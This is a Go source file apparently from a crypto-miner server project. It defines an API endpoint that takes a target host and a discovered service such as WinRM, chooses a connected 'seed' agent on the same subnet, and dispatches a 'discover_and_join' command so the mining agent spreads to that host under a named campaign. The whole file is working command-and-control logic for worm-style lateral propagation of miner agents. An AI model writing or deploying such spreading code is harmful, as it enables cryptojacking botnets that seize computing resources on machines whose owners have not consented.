Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
216 lines
5.8 KiB
Go
216 lines
5.8 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/spreadrouter"
|
|
)
|
|
|
|
type spreadToHostRequest struct {
|
|
Host string `json:"host"`
|
|
Finding string `json:"finding"`
|
|
BuildID string `json:"build_id"`
|
|
Campaign string `json:"campaign"`
|
|
JoinLane string `json:"join_lane"`
|
|
}
|
|
|
|
// POST /api/v1/fleet/spread-to-host
|
|
// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
|
|
func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadToHostRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Host = strings.TrimSpace(req.Host)
|
|
req.Finding = strings.TrimSpace(req.Finding)
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.JoinLane = strings.TrimSpace(req.JoinLane)
|
|
if req.Host == "" {
|
|
http.Error(w, "host required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
|
|
if !ok {
|
|
http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.JoinLane != "" {
|
|
lane.Lane = normalizeJoinLane(req.JoinLane)
|
|
}
|
|
|
|
agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
|
|
if found && reachable {
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": true,
|
|
"host": req.Host,
|
|
"agent_id": agentID,
|
|
"agent_reachable": true,
|
|
"join_lane": lane.Lane,
|
|
"matched_service": matched,
|
|
"queued": false,
|
|
"recommended_command": "discover_and_join",
|
|
"operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
|
|
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
|
})
|
|
return
|
|
}
|
|
|
|
seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
|
|
commandArgs := map[string]interface{}{
|
|
"target_host": req.Host,
|
|
"join_lane": lane.Lane,
|
|
"matched_service": matched,
|
|
}
|
|
if req.BuildID != "" {
|
|
commandArgs["build_id"] = req.BuildID
|
|
}
|
|
if req.Campaign != "" {
|
|
commandArgs["campaign"] = req.Campaign
|
|
}
|
|
|
|
queued := false
|
|
var dispatchErr string
|
|
if seedOK && f.ws != nil {
|
|
if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
|
|
dispatchErr = err.Error()
|
|
} else {
|
|
queued = true
|
|
}
|
|
}
|
|
|
|
recommended := fmt.Sprintf(
|
|
"Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
|
|
firstNonEmptySpread(seedName, seedID, "best online agent"),
|
|
req.Host,
|
|
lane.Lane,
|
|
)
|
|
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": true,
|
|
"host": req.Host,
|
|
"finding": req.Finding,
|
|
"join_lane": lane.Lane,
|
|
"matched_service": matched,
|
|
"agent_reachable": false,
|
|
"agent_found": found,
|
|
"seed_agent_id": seedID,
|
|
"seed_agent_name": seedName,
|
|
"queued": queued,
|
|
"dispatch_error": dispatchErr,
|
|
"recommended_command": "discover_and_join",
|
|
"command_args": commandArgs,
|
|
"operator_note": recommended,
|
|
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
|
})
|
|
}
|
|
|
|
func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
|
|
if database == nil {
|
|
return "", false, false
|
|
}
|
|
agents, err := database.ListAgents()
|
|
if err != nil {
|
|
return "", false, false
|
|
}
|
|
host = strings.TrimSpace(strings.ToLower(host))
|
|
var match *models.Agent
|
|
for _, ag := range agents {
|
|
if ag == nil {
|
|
continue
|
|
}
|
|
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
|
if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
|
|
if match == nil || ag.Status == "online" {
|
|
match = ag
|
|
}
|
|
}
|
|
}
|
|
if match == nil {
|
|
return "", false, false
|
|
}
|
|
reachable = match.Status == "online"
|
|
if hub != nil {
|
|
reachable = hub.isAgentConnected(match.ID)
|
|
}
|
|
return match.ID, reachable, true
|
|
}
|
|
|
|
func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
|
|
if hub == nil {
|
|
return "", "", false
|
|
}
|
|
subnet := spreadrouter.SubnetFromIP(targetHost)
|
|
if subnet != "" {
|
|
in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
|
|
rt := spreadrouter.Build(in)
|
|
if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
|
|
return rec.SeedAgentID, rec.SeedAgentName, true
|
|
}
|
|
}
|
|
|
|
// Fallback: lowest-latency connected agent on same /24.
|
|
targetSubnet := spreadrouter.NormalizeSubnet(subnet)
|
|
var bestID, bestName string
|
|
bestLatency := int(^uint(0) >> 1)
|
|
hub.mu.RLock()
|
|
for id, conn := range hub.agents {
|
|
if conn == nil || hub.db == nil {
|
|
continue
|
|
}
|
|
ag, err := hub.db.GetAgent(id)
|
|
if err != nil || ag == nil {
|
|
continue
|
|
}
|
|
agSubnet := spreadrouter.SubnetFromIP(ag.IP)
|
|
if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
|
|
continue
|
|
}
|
|
lat := 9999
|
|
if ag.LatencyMs != nil {
|
|
lat = *ag.LatencyMs
|
|
}
|
|
if lat < bestLatency {
|
|
bestLatency = lat
|
|
bestID = id
|
|
bestName = ag.Name
|
|
}
|
|
}
|
|
hub.mu.RUnlock()
|
|
if bestID != "" {
|
|
return bestID, bestName, true
|
|
}
|
|
|
|
// Last resort: any connected agent.
|
|
hub.mu.RLock()
|
|
for id := range hub.agents {
|
|
if hub.agents[id] != nil {
|
|
bestID = id
|
|
if hub.db != nil {
|
|
if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
|
|
bestName = ag.Name
|
|
}
|
|
}
|
|
break
|
|
}
|
|
}
|
|
hub.mu.RUnlock()
|
|
return bestID, bestName, bestID != ""
|
|
}
|
|
|
|
func firstNonEmptySpread(parts ...string) string {
|
|
for _, p := range parts {
|
|
if strings.TrimSpace(p) != "" {
|
|
return p
|
|
}
|
|
}
|
|
return ""
|
|
}
|